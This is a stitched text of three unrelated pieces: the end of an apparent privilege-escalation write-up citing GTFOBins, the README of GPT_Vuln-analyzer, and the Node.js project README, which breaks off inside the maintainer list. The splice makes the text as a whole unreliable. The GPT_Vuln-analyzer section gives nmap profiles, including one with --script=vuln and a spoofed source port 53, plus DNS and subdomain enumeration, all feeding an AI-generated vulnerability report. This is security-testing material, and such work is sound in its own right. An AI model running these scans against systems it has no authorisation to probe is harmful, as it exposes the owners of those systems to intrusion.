wq**********YWRlcywgbcOhcXVpbmEgY29t**********E= # ```` We have other possibilities, you can read more on [GTFOBins](https://gtfobins.github.io/) and try them out. Mission accomplished! Hopefully you enjoyed as much as I did :-)
# GPT_Vuln-analyzer This is a Proof Of Concept application that demostrates how AI can be used to generate accurate results for vulnerability analysis and also allows further utilization of the already super useful ChatGPT made using openai-api, python-nmap, dnsresolver python modules and also use customtkinter and tkinter for the GUI version of the code. This project also has a CLI and a GUI interface, It is capable of doing network vulnerability analysis, DNS enumeration and also subdomain enumeration. ## Requirements - Python 3.10 - All the packages mentioned in the requirements.txt file - OpenAi api ## Usage Package ### Import packages `pip install GVA` or `pip3 install GVA` Simple import any of the 3 packages and then add define the variables accordingly ```python from GVA import profile from GVA import dns from GVA import subdomain key = "__API__KEY__" profile.openai.api_key = key dns.openai.api_key = key print(profile.p1("<IP>")) print(dns.dnsr("<DOMAIN>")) subdomain.sub("<DOMAIN>") ``` ## Usage CLI - First Change the "__API__KEY__" part of the code with OpenAI api key ```python akey = "__API__KEY__" # Enter your API key ``` - second install the packages ```bash pip3 install -r requirements.txt or pip install -r requirements.txt ``` - run the code python3 gpt_vuln.py ```bash # Regular Help Menu python gpt_vuln.py --help # Rich Help Menu python get_vuln.py --r help # Specify target with the attack python gpt_vuln.py --target <IP> --attack dns/nmap # Specify target and profile for nmap python get_vuln.py --target <IP> --attack nmap --profile <1-5> (Default:1) # Specify target for DNS no profile needed python get_vuln.py --target <IP or HOSTNAME> --attack dns # Specify target for Subdomain Enumeration no profile needed python get_vuln.py --target <HOSTNAME> --attack sub ``` Supported in both windows and linux ## Understanding the code Profiles: | Parameter | Return data | Description | Nmap Command | | :-------- | :------- | :-------------------------------- | :---------| | `p1` | `json` | Effective Scan | `-Pn -sV -T4 -O -F`| | `p2` | `json` | Simple Scan | `-Pn -T4 -A -v`| | `p3` | `json` | Low Power Scan | `-Pn -sS -sU -T4 -A -v`| | `p4` | `json` | Partial Intense Scan | `-Pn -p- -T4 -A -v`| | `p5` | `json` | Complete Intense Scan | `-Pn -sS -sU -T4 -A -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script=vuln`| The profile is the type of scan that will be executed by the nmap subprocess. The Ip or target will be provided via argparse. At first the custom nmap scan is run which has all the curcial arguments for the scan to continue. nextly the scan data is extracted from the huge pile of data which has been driven by nmap. the "scan" object has a list of sub data under "tcp" each labled according to the ports opened. once the data is extracted the data is sent to openai API davenci model via a prompt. the prompt specifically asks for an JSON output and the data also to be used in a certain manner. The entire structure of request that has to be sent to the openai API is designed in the completion section of the Program. ```python def profile(ip): nm.scan('{}'.format(ip), arguments='-Pn -sS -sU -T4 -A -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script=vuln') json_data = nm.analyse_nmap_xml_scan() analize = json_data["scan"] # Prompt about what the quary is all about prompt = "do a vulnerability analysis of {} and return a vulnerabilty report in json".format(analize) # A structure for the request completion = openai.Completion.create( engine=model_engine, prompt=prompt, max_tokens=1024, n=1, stop=None, ) response = completion.choices[0].text return response ``` ### Output nmap output: ```json { "Vulnerability Report": { "Target IP": "127.0.0.1", "OS Detected": { "Name": "Microsoft Windows 10 1607", "Accuracy": "100", "CPE": [ "cpe:/o:microsoft:windows_10:1607" ] }, "Open Ports": { "Port 135": { "State": "open", "Reason": "syn-ack", "Name": "msrpc", "Product": "Microsoft Windows RPC", "Version": "", "Extra Info": "", "Conf": "10", "CPE": "cpe:/o:microsoft:windows" }, "Port 445": { "State": "open", "Reason": "syn-ack", "Name": "microsoft-ds", "Product": "", "Version": "", "Extra Info": "", "Conf": "3", "CPE": "" } }, "Vulnerabilities": { "Port 135": [], "Port 445": [] } } } ``` DNS Output: target is google.com ```json { "A" : { "ip": "142.250.195.174", }, "AAAA": { "ip": "2404:6800:4007:826::200e" }, "NS": { "nameservers": [ "ns2.google.com.", "ns1.google.com.", "ns3.google.com.", "ns4.google.com." ] }, "MX" : { "smtp": "10 smtp.google.com." }, "SOA" : { "nameserver": "ns1.google.com.", "admin": "dns-admin.google.com.", "serial": "519979037", "refresh": "900", "retry": "900", "expire": "1800", "ttl": "60" }, "TXT": { "onetrust-domain-verification": "de01ed21f2fa4d8781cbc3ffb89cf4ef", "webexdomainverification.8YX6G": "6e6922db-e3e6-4a36-904e-a805c28087fa", "globalsign-smime-dv": "CDYX+XFHUw2wml6/Gb8+59BsH31KzUr6c1l2BPvqKX8=", "google-site-verification": [ "wD8N7i1JTNTkezJ49swvWW48f8_9xveREV4oB-0Hf5o", "TV9-DBe4R80X4v0M4U_bd_J9cpOJM0nikft0jAgjmsQ" ], "docusign": [ "05958488-4752-4ef2-95eb-aa7ba8a3bd0e", "1b0a6754-49b1-4db5-8540-d2c12664b289" ], "atlassian-domain-verification": "5YjTmWmjI92ewqkx2oXmBaD60Td9zWon9r6eakvHX6B77zzkFQto8PQ9QsKnbf4I", "v=spf1 include:_spf.google.com ~all": "v=spf1 include:_spf.google.com ~all", "facebook-domain-verification": "22rm551cu4k0ab0bxsw536tlds4h95", "MS=E4A68B9AB2BB9670BCE15412F62916164C0B20BB": "MS=E4A68B9AB2BB9670BCE15412F62916164C0B20BB", "apple-domain-verification": "30afIBcvSuDV2PLX" } } ``` # Usage GUI The GUI uses customtkinter for the running of the code. The interface is straight forward the only thing required to remember is: - When using dns attack dont specify the profile ```bash python GVA_gui.py ``` ### main window ![main](https://user-images.githubusercontent.com/70637311/228863455-993e0a21-c06c-44c7-87e6-68d758a78e2c.jpeg) ### output_DNS ![dns_output](https://user-images.githubusercontent.com/70637311/228863540-553f8560-fdf5-48f7-96e8-1f831ab3a8f2.png) ### output_nmap ![nmap_output](https://user-images.githubusercontent.com/70637311/228863611-5d8380f0-28d5-4925-9ad3-62cd28a1ecd4.png) ## Advantage - Can be used in developing a more advanced systems completly made of the API and scanner combination - Has the capability to analize DNS information and reslove Mustiple records it a more better format. - Can increase the effectiveness of the final system - Can also perform subdomain enumeration - Highly productive when working with models such as GPT3
# Node.js Node.js is an open-source, cross-platform JavaScript runtime environment. For information on using Node.js, see the [Node.js website][]. The Node.js project uses an [open governance model](./GOVERNANCE.md). The [OpenJS Foundation][] provides support for the project. Contributors are expected to act in a collaborative manner to move the project forward. We encourage the constructive exchange of contrary opinions and compromise. The [TSC](./GOVERNANCE.md#technical-steering-committee) reserves the right to limit or block contributors who repeatedly act in ways that discourage, exhaust, or otherwise negatively affect other participants. **This project has a [Code of Conduct][].** ## Table of contents * [Support](#support) * [Release types](#release-types) * [Download](#download) * [Current and LTS releases](#current-and-lts-releases) * [Nightly releases](#nightly-releases) * [API documentation](#api-documentation) * [Verifying binaries](#verifying-binaries) * [Building Node.js](#building-nodejs) * [Security](#security) * [Contributing to Node.js](#contributing-to-nodejs) * [Current project team members](#current-project-team-members) * [TSC (Technical Steering Committee)](#tsc-technical-steering-committee) * [Collaborators](#collaborators) * [Triagers](#triagers) * [Release keys](#release-keys) * [License](#license) ## Support Looking for help? Check out the [instructions for getting support](.github/SUPPORT.md). ## Release types * **Current**: Under active development. Code for the Current release is in the branch for its major version number (for example, [v15.x](https://github.com/nodejs/node/tree/v15.x)). Node.js releases a new major version every 6 months, allowing for breaking changes. This happens in April and October every year. Releases appearing each October have a support life of 8 months. Releases appearing each April convert to LTS (see below) each October. * **LTS**: Releases that receive Long Term Support, with a focus on stability and security. Every even-numbered major version will become an LTS release. LTS releases receive 12 months of _Active LTS_ support and a further 18 months of _Maintenance_. LTS release lines have alphabetically-ordered code names, beginning with v4 Argon. There are no breaking changes or feature additions, except in some special circumstances. * **Nightly**: Code from the Current branch built every 24-hours when there are changes. Use with caution. Current and LTS releases follow [semantic versioning](https://semver.org). A member of the Release Team [signs](#release-keys) each Current and LTS release. For more information, see the [Release README](https://github.com/nodejs/Release#readme). ### Download Binaries, installers, and source tarballs are available at <https://nodejs.org/en/download/>. #### Current and LTS releases <https://nodejs.org/download/release/> The [latest](https://nodejs.org/download/release/latest/) directory is an alias for the latest Current release. The latest-_codename_ directory is an alias for the latest release from an LTS line. For example, the [latest-fermium](https://nodejs.org/download/release/latest-fermium/) directory contains the latest Fermium (Node.js 14) release. #### Nightly releases <https://nodejs.org/download/nightly/> Each directory name and filename contains a date (in UTC) and the commit SHA at the HEAD of the release. #### API documentation Documentation for the latest Current release is at <https://nodejs.org/api/>. Version-specific documentation is available in each release directory in the _docs_ subdirectory. Version-specific documentation is also at <https://nodejs.org/download/docs/>. ### Verifying binaries Download directories contain a `SHASUMS256.txt` file with SHA checksums for the files. To download `SHASUMS256.txt` using `curl`: ```console $ curl -O https://nodejs.org/dist/vx.y.z/SHASUMS256.txt ``` To check that a downloaded file matches the checksum, run it through `sha256sum` with a command such as: ```console $ grep node-vx.y.z.tar.gz SHASUMS256.txt | sha256sum -c - ``` For Current and LTS, the GPG detached signature of `SHASUMS256.txt` is in `SHASUMS256.txt.sig`. You can use it with `gpg` to verify the integrity of `SHASUMS256.txt`. You will first need to import [the GPG keys of individuals authorized to create releases](#release-keys). To import the keys: ```console $ gpg --keyserver hkps://keys.openpgp.org --recv-keys 4ED778F539E3634C779C87C6D7062848A1AB005C ``` See [Release keys](#release-keys) for a script to import active release keys. Next, download the `SHASUMS256.txt.sig` for the release: ```console $ curl -O https://nodejs.org/dist/vx.y.z/SHASUMS256.txt.sig ``` Then use `gpg --verify SHASUMS256.txt.sig SHASUMS256.txt` to verify the file's signature. ## Building Node.js See [BUILDING.md](BUILDING.md) for instructions on how to build Node.js from source and a list of supported platforms. ## Security For information on reporting security vulnerabilities in Node.js, see [SECURITY.md](./SECURITY.md). ## Contributing to Node.js * [Contributing to the project][] * [Working Groups][] * [Strategic initiatives][] * [Technical values and prioritization][] ## Current project team members For information about the governance of the Node.js project, see [GOVERNANCE.md](./GOVERNANCE.md). <!-- node-core-utils and find-inactive-tsc.mjs depend on the format of the TSC list. If the format changes, those utilities need to be tested and updated. --> ### TSC (Technical Steering Committee) #### TSC voting members <!--lint disable prohibited-strings--> * [aduh95](https://github.com/aduh95) - **Antoine du Hamel** <<[email protected]>> (he/him) * [apapirovski](https://github.com/apapirovski) - **Anatoli Papirovski** <<[email protected]>> (he/him) * [BethGriggs](https://github.com/BethGriggs) - **Beth Griggs** <<[email protected]>> (she/her) * [BridgeAR](https://github.com/BridgeAR) - **Ruben Bridgewater** <<[email protected]>> (he/him) * [cjihrig](https://github.com/cjihrig) - **Colin Ihrig** <<[email protected]>> (he/him) * [danielleadams](https://github.com/danielleadams) - **Danielle Adams** <<[email protected]>> (she/her) * [GeoffreyBooth](https://github.com/geoffreybooth) - **Geoffrey Booth** <<[email protected]>> (he/him) * [gireeshpunathil](https://github.com/gireeshpunathil) - **Gireesh Punathil** <<[email protected]>> (he/him) * [jasnell](https://github.com/jasnell) - **James M Snell** <<[email protected]>> (he/him) * [joyeecheung](https://github.com/joyeecheung) - **Joyee Cheung** <<[email protected]>> (she/her) * [legendecas](https://github.com/legendecas) - **Chengzhong Wu** <<[email protected]>> (he/him) * [mcollina](https://github.com/mcollina) - **Matteo Collina** <<[email protected]>> (he/him) * [mhdawson](https://github.com/mhdawson) - **Michael Dawson** <<[email protected]>> (he/him) * [MoLow](https://github.com/MoLow) - **Moshe Atlow** <<[email protected]>> (he/him) * [RafaelGSS](https://github.com/RafaelGSS) - **Rafael Gonzaga** <<[email protected]>> (he/him) * [RaisinTen](https://github.com/RaisinTen) - **Darshan Sen** <<[email protected]>> (he/him) * [richardlau](https://github.com/richardlau) - **Richard Lau** <<[email protected]>> * [ronag](https://github.com/ronag) - **Robert Nagy** <<[email protected]>> * [targos](https://github.com/targos) - **Michaël Zasso** <<[email protected]>> (he/him) * [tniessen](https://github.com/tniessen) - **Tobias Nießen** <<[email protected]>> (he/him) * [Trott](https://github.com/Trott) - **Rich Trott** <<[email protected]>> (he/him) #### TSC regular members * [addaleax](https://github.com/addaleax) - **Anna Henningsen** <<[email protected]>> (she/her) * [bnoordhuis](https://github.com/bnoordhuis) - **Ben Noordhuis** <<[email protected]>> * [ChALkeR](https://github.com/ChALkeR) - **Сковорода Никита Андреевич** <<[email protected]>> (he/him) * [codebytere](https://github.com/codebytere) - **Shelley Vohr** <<[email protected]>> (she/her) * [danbev](https://github.com/danbev) - **Daniel Bevenius** <<[email protected]>> (he/him) * [fhinkel](https://github.com/fhinkel) - **Franziska Hinkelmann** <<[email protected]>> (she/her) * [gabrielschulhof](https://github.com/gabrielschulhof) - **Gabriel Schulhof** <<[email protected]>> * [mscdex](https://github.com/mscdex) - **Brian White** <<[email protected]>> * [MylesBorins](https://github.com/MylesBorins) - **Myles Borins** <<[email protected]>> (he/him) * [rvagg](https://github.com/rvagg) - **Rod Vagg** <<[email protected]>> * [TimothyGu](https://github.com/TimothyGu) - **Tiancheng "Timothy" Gu** <<[email protected]>> (he/him) <details> <summary>TSC emeriti members</summary> #### TSC emeriti members * [chrisdickinson](https://github.com/chrisdickinson) - **Chris Dickinson** <<[email protected]>> * [evanlucas](https://github.com/evanlucas) - **Evan Lucas** <<[email protected]>> (he/him) * [Fishrock123](https://github.com/Fishrock123) - **Jeremiah Senkpiel** <<[email protected]>> (he/they) * [gibfahn](https://github.com/gibfahn) - **Gibson Fahnestock** <<[email protected]>> (he/him) * [indutny](https://github.com/indutny) - **Fedor Indutny** <<[email protected]>> * [isaacs](https://github.com/isaacs) - **Isaac Z. Schlueter** <<[email protected]>> * [joshgav](https://github.com/joshgav) - **Josh Gavant** <<[email protected]>> * [mmarchini](https://github.com/mmarchini) - **Mary Marchini** <<[email protected]>> (she/her) * [nebrius](https://github.com/nebrius) - **Bryan Hughes** <<[email protected]>> * [ofrobots](https://github.com/ofrobots) - **Ali Ijaz Sheikh** <<[email protected]>> (he/him) * [orangemocha](https://github.com/orangemocha) - **Alexis Campailla** <<[email protected]>> * [piscisaureus](https://github.com/piscisaureus) - **Bert Belder** <<[email protected]>> * [sam-github](https://github.com/sam-github) - **Sam Roberts** <<[email protected]>> * [shigeki](https://github.com/shigeki) - **Shigeki Ohtsu** <<[email protected]>> (he/him) * [thefourtheye](https://github.com/thefourtheye) - **Sakthipriyan Vairamani** <<[email protected]>> (he/him) * [trevnorris](https://github.com/trevnorris) - **Trevor Norris** <<[email protected]>> </details> <!-- node-core-utils and find-inactive-collaborators.mjs depend on the format of the collaborator list. If the format changes, those utilities need to be tested and updated. --> ### Collaborators * [addaleax](https://github.com/addaleax) - **Anna Henningsen** <<[email protected]>> (she/her) * [aduh95](https://github.com/aduh95) - **Antoine du Hamel** <<[email protected]>> (he/him) * [anonrig](https://github.com/anonrig) - **Yagiz Nizipli** <<[email protected]>> (he/him) * [antsmartian](https://github.com/antsmartian) - **Anto Aravinth** <<[email protected]>> (he/him) * [apapirovski](https://github.com/apapirovski) - **Anatoli Papirovski** <<[email protected]>> (he/him) * [AshCripps](https://github.com/AshCripps) - **Ash Cripps** <<[email protected]>> * [Ayase-252](https://github.com/Ayase-252) - **Qingyu Deng** <<[email protected]>> * [bengl](https://github.com/bengl) - **Bryan English** <<[email protected]>> (he/him) * [benjamingr](https://github.com/benjamingr) - **Benjamin Gruenbaum** <<[email protected]>> * [BethGriggs](https://github.com/BethGriggs) - **Beth Griggs** <<[email protected]>> (she/her) * [bmeck](https://github.com/bmeck) - **Bradley Farias** <<[email protected]>> * [bnb](https://github.com/bnb) - **Tierney Cyren** <<[email protected]>> (they/he) * [bnoordhuis](https://github.com/bnoordhuis) - **Ben Noordhuis** <<[email protected]>> * [BridgeAR](https://github.com/BridgeAR) - **Ruben Bridgewater** <<[email protected]>> (he/him) * [cclauss](https://github.com/cclauss) - **Christian Clauss** <<[email protected]>> (he/him) * [ChALkeR](https://github.com/ChALkeR) - **Сковорода Никита Андреевич** <<[email protected]>> (he/him) * [cjihrig](https://github.com/cjihrig) - **Colin Ihrig** <<[email protected]>> (he/him) * [codebytere](https://github.com/codebytere) - **Shelley Vohr** <<[email protected]>> (she/her) * [cola119](https://github.com/cola119) - **Kohei Ueno** <<[email protected]>> (he/him) * [daeyeon](https://github.com/daeyeon) - **Daeyeon Jeong** <<[email protected]>> (he/him) * [danbev](https://github.com/danbev) - **Daniel Bevenius** <<[email protected]>> (he/him) * [danielleadams](https://github.com/danielleadams) - **Danielle Adams** <<[email protected]>> (she/her) * [debadree25](https://github.com/debadree25) - **Debadree Chatterjee** <<[email protected]>> (he/him) * [deokjinkim](https://github.com/deokjinkim) - **Deokjin Kim** <<[email protected]>> (he/him) * [devnexen](https://github.com/devnexen) - **David Carlier** <<[email protected]>> * [devsnek](https://github.com/devsnek) - **Gus Caplan** <<[email protected]>> (they/them) * [edsadr](https://github.com/edsadr) - **Adrian Estrada** <<[email protected]>> (he/him) * [erickwendel](https://github.com/erickwendel) - **Erick Wendel** <<[email protected]>> (he/him) * [fhinkel](https://github.com/fhinkel) - **Franziska Hinkelmann** <<[email protected]>> (she/her) * [F3n67u](https://github.com/F3n67u) - **Feng Yu** <<[email protected]>> (he/him) * [Flarna](https://github.com/Flarna) - **Gerhard Stöbich** <<[email protected]>> (he/they) * [gabrielschulhof](https://github.com/gabrielschulhof) - **Gabriel Schulhof** <<[email protected]>> * [gengjiawen](https://github.com/gengjiawen) - **Jiawen Geng** <<[email protected]>> * [GeoffreyBooth](https://github.com/geoffreybooth) - **Geoffrey Booth** <<[email protected]>> (he/him) * [gireeshpunathil](https://github.com/gireeshpunathil) - **Gireesh Punathil** <<[email protected]>> (he/him) * [guybedford](https://github.com/guybedford) - **Guy Bedford** <<[email protected]>> (he/him) * [HarshithaKP](https://github.com/HarshithaKP) - **Harshitha K P** <<[email protected]>> (she/her) * [himself65](https://github.com/himself65) - **Zeyu "Alex" Yang** <<[email protected]>> (he/him) * [iansu](https://github.com/iansu) - **Ian Sutherland** <<[email protected]>> * [JacksonTian](https://github.com/JacksonTian) - **Jackson Tian** <<[email protected]>> * [JakobJingleheimer](https://github.com/JakobJingleheimer) - **Jacob Smith** <<[email protected]>> (he/him) * [jasnell](https://github.com/jasnell) - **James M Snell** <<[email protected]>> (he/him) * [jkrems](https://github.com/jkrems) - **Jan Krems** <<[email protected]>> (he/him) * [joesepi](https://github.com/joesepi) - **Joe Sepi** <<[email protected]>> (he/him) * [joyeecheung](https://github.com/joyeecheung) - **Joyee Cheung** <<[email protected]>> (she/her) * [juanarbol](https://github.com/juanarbol) - **Juan José Arboleda** <<[email protected]>> (he/him) * [JungMinu](https://github.com/JungMinu) - **Minwoo Jung** <<[email protected]>> (he/him) * [kuriyosh](https://github.com/kuriyosh) - **Yoshiki Kurihara** <<[email protected]>> (he/him) * [legendecas](https://github.com/legendecas) - **Chengzhong Wu** <<[email protected]>> (he/him) * [Leko](https://github.com/Leko) - **Shingo Inoue** <<[email protected]>> (he/him) * [linkgoron](https://github.com/linkgoron) - **Nitzan Uziely** <<[email protected]>> * [LiviaMedeiros](https://github.com/LiviaMedeiros) - **LiviaMedeiros** <<[email protected]>> * [lpinca](https://github.com/lpinca) - **Luigi Pinca** <<[email protected]>> (he/him) * [lukekarrys](https://github.com/lukekarrys) - **Luke Karrys** <<[email protected]>> (he/him) * [Lxxyx](https://github.com/Lxxyx) - **Zijian Liu** <<[email protected]>> (he/him) * [marco-ippolito](https://github.com/marco-ippolito) - **Marco Ippolito** <<[email protected]>> (he/him) * [marsonya](https://github.com/marsonya) - **Akhil Marsonya** <<[email protected]>> (he/him) * [mcollina](https://github.com/mcollina) - **Matteo Collina** <<[email protected]>> (he/him) * [meixg](https://github.com/meixg) - **Xuguang Mei** <<[email protected]>> (he/him) * [Mesteery](https://github.com/Mesteery) - **Mestery** <<[email protected]>> (he/him) * [mhdawson](https://github.com/mhdawson) - **Michael Dawson** <<[email protected]>> (he/him) * [miladfarca](https://github.com/miladfarca) - **Milad Fa** <<[email protected]>> (he/him) * [mildsunrise](https://github.com/mildsunrise) - **Alba Mendez** <<[email protected]>> (she/her) * [MoLow](https://github.com/MoLow) - **Moshe Atlow** <<[email protected]>> (he/him) * [mscdex](https://github.com/mscdex) - **Brian White** <<[email protected]>> * [MylesBorins](https://github.com/MylesBorins) - **Myles Borins** <<[email protected]>> (he/him) * [oyyd](https://github.com/oyyd) - **Ouyang Yadong** <<[email protected]>> (he/him) * [panva](https://github.com/panva) - **Filip Skokan** <<[email protected]>> (he/him) * [puzpuzpuz](https://github.com/puzpuzpuz) - **Andrey Pechkurov** <<[email protected]>> (he/him) * [Qard](https://github.com/Qard) - **Stephen Belanger** <<[email protected]>> (he/him) * [RafaelGSS](https://github.com/RafaelGSS) - **Rafael Gonzaga** <<[email protected]>> (he/him) * [RaisinTen](https://github.com/RaisinTen) - **Darshan Sen** <<[email protected]>> (he/him) * [richardlau](https://github.com/richardlau) - **Richard Lau** <<[email protected]>> * [rickyes](https://github.com/rickyes) - **Ricky Zhou** <<[email protected]>> (he/him) * [ronag](https://github.com/ronag) - **Robert Nagy** <<[email protected]>> * [ruyadorno](https://github.com/ruyadorno) - **Ruy Adorno** <<[email protected]>> (he/him) * [rvagg](https://github.com/rvagg) - **Rod Vagg** <<[email protected]>> * [ryzokuken](https://github.com/ryzokuken) - **Ujjwal Sharma** <<[email protected]>> (he/him) * [santigimeno](https://github.com/santigimeno) - **Santiago Gimeno** <<[email protected]>> * [shisama](https://github.com/shisama) - **Masashi Hirano** <<[email protected]>> (he/him) * [ShogunPanda](https://github.com/ShogunPanda) - **Paolo Insogna** <<[email protected]>> (he/him) * [srl295](https://github.com/srl295) - **Steven R Loomis** <<[email protected]>> * [sxa](https://github.com/sxa) - **Stewart X Addison** <<[email protected]>> (he/him) * [targos](https://github.com/targos) - **Michaël Zasso** <<[email protected]>> (he/him) * [theanarkh](https://github.com/theanarkh) - **theanarkh** <<[email protected]>> (he/him) * [TimothyGu](https://github.com/TimothyGu) - **Tiancheng "Timothy" Gu** <<[email protected]>> (he/him) * [tniessen](https://github.com/tniessen) - **Tobias Nießen** <<[email protected]>> (he/him) * [trivikr](https://github.com/trivikr) - **Trivikram Kamat** <<[email protected]>> * [Trott](https://github.com/Trott) - **Rich Trott** <<[email protected]>> (he/him) * [vdeturckheim](https://github.com/vdeturckheim) - **Vladimir de Turckheim** <<[email protected]>> (he/him) * [VoltrexKeyva](https://github.com/VoltrexKeyva) - **Mohammed Keyvanzadeh** <<[email protected]>> (he/him) * [watilde](https://github.com/watilde) - **Daijiro Wachi** <<[email protected]>> (he/him) * [XadillaX](https://github.com/XadillaX) - **Khaidi Chu** <<[email protected]>> (he/him) * [yashLadha](https://github.com/yashLadha) - **Yash Ladha** <<[email protected]>> (he/him) * [ZYSzys](https://github.com/ZYSzys) - **Yongsheng Zhang** <<[email protected]>> (he/him) <details> <summary>Emeriti</summary> <!-- find-inactive-collaborators.mjs depends on the format of the emeriti list. If the format changes, those utilities need to be tested and updated. --> ### Collaborator emeriti * [ak239](https://github.com/ak239) - **Aleksei Koziatinskii** <<[email protected]>> * [andrasq](https://github.com/andrasq) - **Andras** <<[email protected]>> * [AnnaMag](https://github.com/AnnaMag) - **Anna M. Kedzierska** <<[email protected]>> * [AndreasMadsen](https://github.com/AndreasMadsen) - **Andreas Madsen** <<[email protected]>> (he/him) * [aqrln](https://github.com/aqrln) - **Alexey Orlenko** <<[email protected]>> (he/him) * [bcoe](https://github.com/bcoe) - **Ben Coe** <<[email protected]>> (he/him) * [bmeurer](https://github.com/bmeurer) - **Benedikt Meurer** <<[email protected]>> * [boneskull](https://github.com/boneskull) - **Christopher Hiller** <<[email protected]>> (he/him) * [brendanashworth](https://github.com/brendanashworth) - **Brendan Ashworth** <<[email protected]>> * [bzoz](https://github.com/bzoz) - **Bartosz Sosnowski** <<[email protected]>> * [calvinmetcalf](https://github.com/calvinmetcalf) - **Calvin Metcalf** <<[email protected]>> * [chrisdickinson](https://github.com/chrisdickinson) - **Chris Dickinson** <<[email protected]>> * [claudiorodriguez](https://github.com/claudiorodriguez) - **Claudio Rodriguez** <<[email protected]>> * [DavidCai1993](https://github.com/DavidCai1993) - **David Cai** <<[email protected]>> (he/him) * [davisjam](https://github.com/davisjam) - **Jamie Davis** <<[email protected]>> (he/him) * [digitalinfinity](https://github.com/digitalinfinity) - **Hitesh Kanwathirtha** <<[email protected]>> (he/him) * [dmabupt](https://github.com/dmabupt) - **Xu Meng** <<[email protected]>> (he/him) * [dnlup](https://github.com/dnlup) **dnlup** <<[email protected]>> * [eljefedelrodeodeljefe](https://github.com/eljefedelrodeodeljefe) - **Robert Jefe Lindstaedt** <<[email protected]>> * [estliberitas](https://github.com/estliberitas) - **Alexander Makarenko** <<[email protected]>> * [eugeneo](https://github.com/eugeneo) - **Eugene Ostroukhov** <<[email protected]>> * [evanlucas](https://github.com/evanlucas) - **Evan Lucas** <<[email protected]>> (he/him) * [firedfox](https://github.com/firedfox) - **Daniel Wang** <<[email protected]>> * [Fishrock123](https://github.com/Fishrock123) - **Jeremiah Senkpiel** <<[email protected]>> (he/they) * [gdams](https://github.com/gdams) - **George Adams** <<[email protected]>> (he/him) * [geek](https://github.com/geek) - **Wyatt Preul** <<[email protected]>> * [gibfahn](https://github.com/gibfahn) - **Gibson Fahnestock** <<[email protected]>> (he/him) * [glentiki](https://github.com/glentiki) - **Glen Keane** <<[email protected]>> (he/him) * [hashseed](https://github.com/hashseed) - **Yang Guo** <<[email protected]>> (he/him) * [hiroppy](https://github.com/hiroppy) - **Yuta Hiroto** <<[email protected]>> (he/him) * [iarna](https://github.com/iarna) - **Rebecca Turner** <<[email protected]>> * [imran-iq](https://github.com/imran-iq) - **Imran Iqbal** <<[email protected]>> * [imyller](https://github.com/imyller) - **Ilkka Myller** <<[email protected]>> * [indutny](https://github.com/indutny) - **Fedor Indutny** <<[email protected]>> * [isaacs](https://github.com/isaacs) - **Isaac Z. Schlueter** <<[email protected]>> * [italoacasas](https://github.com/italoacasas) - **Italo A. Casas** <<[email protected]>> (he/him) * [jasongin](https://github.com/jasongin) - **Jason Ginchereau** <<[email protected]>> * [jbergstroem](https://github.com/jbergstroem) - **Johan Bergström** <<[email protected]>> * [jdalton](https://github.com/jdalton) - **John-David Dalton** <<[email protected]>> * [jhamhader](https://github.com/jhamhader) - **Yuval Brik** <<[email protected]>> * [joaocgreis](https://github.com/joaocgreis) - **João Reis** <<[email protected]>> * [joshgav](https://github.com/joshgav) - **Josh Gavant** <<[email protected]>> * [julianduque](https://github.com/julianduque) - **Julian Duque** <<[email protected]>> (he/him) * [kfarnung](https://github.com/kfarnung) - **Kyle Farnung** <<[email protected]>> (he/him) * [kunalspathak](https://github.com/kunalspathak) - **Kunal Pathak** <<[email protected]>> * [lance](https://github.com/lance) - **Lance Ball** <<[email protected]>> (he/him) * [lucamaraschi](https://github.com/lucamaraschi) - **Luca Maraschi** <<[email protected]>> (he/him) * [lundibundi](https://github.com/lundibundi) - **Denys Otrishko** <<[email protected]>> (he/him) * [lxe](https://github.com/lxe) - **Aleksey Smolenchuk** <<[email protected]>> * [maclover7](https://github.com/maclover7) - **Jon Moss** <<[email protected]>> (he/him) * [mafintosh](https://github.com/mafintosh) - **Mathias Buus** <<[email protected]>> (he/him) * [matthewloring](https://github.com/matthewloring) - **Matthew Loring** <<[email protected]>> * [micnic](https://github.com/micnic) - **Nicu Micleușanu** <<[email protected]>> (he/him) * [mikeal](https://github.com/mikeal) - **Mikeal Rogers** <<[email protected]>> * [misterdjules](https://github.com/misterdjules) - **Julien Gilli** <<[email protected]>> * [mmarchini](https://github.com/mmarchini) - **Mary Marchini** <<[email protected]>> (she/her) * [monsanto](https://github.com/monsanto) - **Christopher Monsanto** <<[email protected]>> * [MoonBall](https://github.com/MoonBall) - **Chen Gang** <<[email protected]>> * [not-an-aardvark](https://github.com/not-an-aardvark) - **Teddy Katz** <<[email protected]>> (he/him) * [ofrobots](https://github.com/ofrobots) - **Ali Ijaz Sheikh** <<[email protected]>> (he/him) * [Olegas](https://github.com/Olegas) - **Oleg Elifantiev** <<[email protected]>> * [orangemocha](https://github.com/orangemocha) - **Alexis Campailla** <<[email protected]>> * [othiym23](https://github.com/othiym23) - **Forrest L Norvell** <<[email protected]>> (they/them/themself) * [petkaantonov](https://github.com/petkaantonov) - **Petka Antonov** <<[email protected]>> * [phillipj](https://github.com/phillipj) - **Phillip Johnsen** <<[email protected]>> * [piscisaureus](https://github.com/piscisaureus) - **Bert Belder** <<[email protected]>> * [pmq20](https://github.com/pmq20) - **Minqi Pan** <<[email protected]>> * [PoojaDurgad](https://github.com/PoojaDurgad) - **Pooja D P** <<[email protected]>> (she/her) * [princejwesley](https://github.com/princejwesley) - **Prince John Wesley** <<[email protected]>> * [psmarshall](https://github.com/psmarshall) - **Peter Marshall** <<[email protected]>> (he/him) * [refack](https://github.com/refack) - **Refael Ackermann (רפאל פלחי)** <<[email protected]>> (he/him/הוא/אתה) * [rexagod](https://github.com/rexagod) - **Pranshu Srivastava** <<[email protected]>> (he/him) * [rlidwka](https://github.com/rlidwka) - **Alex Kocharin** <<[email protected]>> * [rmg](https://github.com/rmg) - **Ryan Graham** <<[email protected]>> * [robertkowalski](https://github.com/robertkowalski) - **Robert Kowalski** <<[email protected]>> * [romankl](https://github.com/romankl) - **Roman Klauke** <<[email protected]>> * [ronkorving](https://github.com/ronkorving) - **Ron Korving** <<[email protected]>> * [RReverser](https://github.com/RReverser) - **Ingvar Stepanyan** <<[email protected]>> * [rubys](https://github.com/rubys) - **Sam Ruby** <<[email protected]>> * [saghul](https://github.com/saghul) - **Saúl Ibarra Corretgé** <<[email protected]>> * [sam-github](https://github.com/sam-github) - **Sam Roberts** <<[email protected]>> * [sebdeckers](https://github.com/sebdeckers) - **Sebastiaan Deckers** <<[email protected]>> * [seishun](https://github.com/seishun) - **Nikolai Vavilov** <<[email protected]>> * 